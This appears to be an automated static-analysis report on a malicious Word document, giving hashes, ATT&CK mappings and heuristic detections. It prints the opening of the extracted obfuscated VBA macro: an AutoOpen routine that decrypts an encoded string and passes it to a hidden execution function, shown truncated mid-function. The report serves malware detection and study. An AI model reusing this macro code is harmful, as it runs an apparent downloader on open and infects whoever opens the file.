Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8b5def5ac579f97…

MALICIOUS

Office (OLE)

304.5 KB Created: 2018-10-04 16:53:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 079901ea4fabeb415e5b1a458323f860 SHA-1: 07ec281400d23a89003bd3f883046af333da322b SHA-256: b8b5def5ac579f97f4be21dc8f4a4bf908fe597eb802ca1c339b99bbe783655f
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes obfuscated strings and calls to `Shell()` and `CreateObject()` to likely download and execute a second-stage payload. The ClamAV heuristic also flags it as an obfuscated macro document.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscated-6397052-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscated-6397052-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70267 bytes
SHA-256: 59637168d9f20eda691d59984ce0d8db5533021be9b8376e3af433e48db900a9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VEBehUuLXWKntkDDq"
Sub AutoOpen()
Dim qSIUZXegBMPCn As String
Dim deQeuRZIfmZ As Integer
deQeuRZIfmZ = 1 * 6
qSIUZXegBMPCn = AhDDbigKwsSrbL(jPIFMdtKUVhgqpVv("IDc1O2ltbFM1Ozo7LCZXIidaKjkpLWYkLCR6KDs1JlwjVDosVTk8HCkhXlohMD4sKVReKnclLDg="), "HCAKSBC2PIUVCB2PI3GILUHGCIUGUYO2F3UC2UY3FO23OUYCF32OYUDHOYGU32FVYUO23GF")
Dim fFvjIasmoupbewNMoXL As Integer
fFvjIasmoupbewNMoXL = 9 * 3
HdMeSqnbfuPuCuGG.OPYHNQONAMvO (qSIUZXegBMPCn)
Dim SNPWuqhZXaQXcwrVg As Integer
SNPWuqhZXaQXcwrVg = 2
Dim OoBcyZPqAIMbzSMho As Integer
OoBcyZPqAIMbzSMho = 7
Dim TqlGTSmBbfCJkIEfTEI As Integer
TqlGTSmBbfCJkIEfTEI = 7
Dim tOKSlqLFOcgFpjT As Collection
Set tOKSlqLFOcgFpjT = New Collection
tOKSlqLFOcgFpjT.Add "XqRaEbdfTqvnPY"
tOKSlqLFOcgFpjT.Add "rTaTkkaElFmbk"
If TqlGTSmBbfCJkIEfTEI < Len(Application.UserName) Then
Dim WZiTObqvUnKgbUB As Integer
WZiTObqvUnKgbUB = 3 * 1
Dim xTMpVlvuijBNyDiRVz As Object
Dim fryrrqZxRgnyfFo As Integer
fryrrqZxRgnyfFo = 4 * 9
TqlGTSmBbfCJkIEfTEI = Len(Application.UserName)
End If
If OoBcyZPqAIMbzSMho < Len(Application.UserName) Then
Dim HgHRerWgtwYCyrIama As Object
Dim LrzHeJjfzqH As Integer
LrzHeJjfzqH = 8
Dim rmmuIRJaakZeuErVKkS As Collection
Set rmmuIRJaakZeuErVKkS = New Collection
rmmuIRJaakZeuErVKkS.Add "aClDKoANjvhWN"
rmmuIRJaakZeuErVKkS.Add "fkhSyNraYgJHVKUu"
rmmuIRJaakZeuErVKkS.Add "xSWiXiljIMaf"
rmmuIRJaakZeuErVKkS.Add "vNoBFBlhbDZ"
rmmuIRJaakZeuErVKkS.Add "efiQRChFnCIaTuffTmY"
rmmuIRJaakZeuErVKkS.Add "etKUndKGvSydGHJu"
rmmuIRJaakZeuErVKkS.Add "EupAULfJNoLoaQfMN"
rmmuIRJaakZeuErVKkS.Add "IfeRKRMYMRIZDTOG"
rmmuIRJaakZeuErVKkS.Add "QfWdiWBWOsTvFZCU"
rmmuIRJaakZeuErVKkS.Add "lYIJuMbgEVE"
If LrzHeJjfzqH < Len(Application.UserName) Then
Dim KFMINWOiQBjCBCKvZqC As Integer
KFMINWOiQBjCBCKvZqC = 4 * 4
Dim eSvPTimLMfMBClGfbU As Object
Dim SaCntVupewTzJIcw As Integer
SaCntVupewTzJIcw = 9 * 9
LrzHeJjfzqH = Len(Application.UserName)
End If
OoBcyZPqAIMbzSMho = Len(Application.UserName)
End If
If SNPWuqhZXaQXcwrVg < Len(Application.UserName) Then
Dim iXkBcHznBBOGFA As Integer
iXkBcHznBBOGFA = 3 * 9
Dim LmvPoXVTRjeMovflcv As Object
Dim FwRYOEIbhNPTU As Integer
FwRYOEIbhNPTU = 3 * 9
SNPWuqhZXaQXcwrVg = Len(Application.UserName)
End If
' OPTIONS
Dim qDIvslNHWQdcJKOhtY As Integer
qDIvslNHWQdcJKOhtY = 4 * 4
End Sub
Public Function jPIFMdtKUVhgqpVv(VGZowPzNbINHAV As String, Optional PLSHqwSdvjWEYF As Boolean = True) As String
Static RYXkcACuHNgNS(0 To 255) As Byte
Dim nztASlfVYbuSYEO As Collection
Set nztASlfVYbuSYEO = New Collection
nztASlfVYbuSYEO.Add "LjfwkEqBNcYu"
nztASlfVYbuSYEO.Add "xGXDnuEmblqyPYfJiIm"
Dim FdtgesasZuGs() As Byte, CKYacBGGVINCoCBI() As Byte
Dim tMdhxqdtJvCsAnzuU As Integer
tMdhxqdtJvCsAnzuU = 3 * 1
Dim HtvtVfdqfaYTfqrjk As Long, JEUTxgjwAjlWU As Long
Dim nEafHgpgBFqR As Integer
nEafHgpgBFqR = 6
Dim DIiWHdNTpFIgivSgaS As Integer
DIiWHdNTpFIgivSgaS = 4 * 6
If nEafHgpgBFqR < Len(Application.UserName) Then
Dim LxpsNvXNDNrplIVHHRY As Integer
LxpsNvXNDNrplIVHHRY = 5 * 5
Dim iZeifLxrnbYgFFOFS As Object
Dim jmGBjTIlDec As Integer
jmGBjTIlDec = 8 * 4
nEafHgpgBFqR = Len(Application.UserName)
End If
If RYXkcACuHNgNS(0) = 0 Then
Dim NwirXRsLeaGsZllEB As Integer
NwirXRsLeaGsZllEB = 6 * 9
For HtvtVfdqfaYTfqrjk = 0 To 255
Dim YKXhJSnTBDzEwkt As Integer
YKXhJSnTBDzEwkt = 4 * 7
RYXkcACuHNgNS(HtvtVfdqfaYTfqrjk) = 255
Dim cMmktmOmPnYZLEecope As Integer
cMmktmOmPnYZLEecope = 8 * 4
Next HtvtVfdqfaYTfqrjk
Dim RIbUXzxdaReBqevNA As Integer
RIbUXzxdaReBqevNA = 3 * 6
For HtvtVfdqfaYTfqrjk = 0 To 25
Dim BhVDYUdinQMJRwDap As Collection
Set BhVDYUdinQMJRwDap = New Collection
BhVDYUdinQMJRwDap.Add "uZjJDKQxSTsJ"
BhVDYUdinQMJRwDap.Add "eHLURCUcgEPhwgJ"
BhVDYUdinQMJRwDap.Add "iWKewzvfQzQcO"
BhVDYUdinQMJRwDap.Add "zTYiyvicqhLmCMTpyb"
BhVDYUdi
... (truncated)

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